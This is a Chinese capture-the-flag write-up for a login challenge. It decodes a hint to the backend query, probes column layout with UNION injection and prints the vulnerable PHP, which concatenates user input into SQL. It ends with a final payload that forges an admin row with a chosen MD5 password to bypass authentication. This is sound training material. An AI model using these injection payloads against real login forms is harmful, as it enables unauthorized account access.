这个题目,登录框做的很麻烦,抓个包在bp慢慢传,注入点是在search.php的post中

image-20260526205227153

如果登录admin的化会响应wrong pass!,登录其他用户的化会响应wrong user!

原本是想用布尔盲注的,但结果测试发现小括号都被禁用了,所以这个题不是常见的sql注入了

在响应的注释中可以看到这一段字符串

1
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

这是一串base32字符串,解密得到一个base64字符串在解密得到

1
select * from user where username = '$name'

这是提示后端的执行语句吧,是一个单引号拼接,这里先采用一下union注入,测试找出是三列

1
2
3
4
5
6
传:
name=1'union%20select%201,2,3#&pw=1

响应:

wrong user!
1
2
3
4
5
传:
name=1'union%20select%201,'admin',3#&pw=1


wrong pass!

在第二列时这个响应的是登录admin的时候的,这里是账户,正常来讲第三列就是密码了

但是当时这个题目有没有提示,在这个题目的后端有一个md5加密,如果不看还不知道搞到什么时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;

主要就是这一段,我们可以发现,在这里是先查询获取结果后再与输入的密码做比较的,从题目给的题目可以看到查询的方式

1
select * from user where username = '$name'

如果我们登录admin的后端会进行一个这样的查询,然后拿我们的密码md5加密后进行一个比较

1
2
3
4
5
6
7
MySQL [ctftraining]> select * from user where username='admin';
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 319305f397960c2c19a585b54f403d4b |
+----+----------+----------------------------------+
1 row in set (0.001 sec)

如果我们采用一个union的话,在后端会创建一个虚拟表然后和真正数据库中查询的数据进行合并,在上面我们已经可以知道第二列是用户,第三列是密码

1
2
3
4
5
6
7
MySQL [ctftraining]> select * from user where username='admin' union select 1,'admin',1 ;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 319305f397960c2c19a585b54f403d4b |
| 1 | admin | 1 |
+----+----------+----------------------------------+

那我们如果让他查询一个不存在的用户,那最后的数据我们是可以伪造的

1
2
3
4
5
6
MySQL [ctftraining]> select * from user where username='I dont exist' union select 1,'admin',1 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 1 |
+----+----------+----------+

那这到时候就是拿我们的数据和我们输入的密码进行对比,这是完全可控制的

于是我们随便找一个字符串,得到他的md5值,然后用这串字符作为密码登录就行了

1
2
php -r "echo md5('flag{test_lengkur}');"
319305f397960c2c19a585b54f403d4b
1
2
3
4
5
6
MySQL [ctftraining]> select * from user where username='I dont exist' union select 1,'admin','319305f397960c2c19a585b54f403d4b' ;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 319305f397960c2c19a585b54f403d4b |
+----+----------+----------------------------------+

所以最终payload

1
2
3
I dont exist' union select 1,'admin','319305f397960c2c19a585b54f403d4b' #

flag{test_lengkur}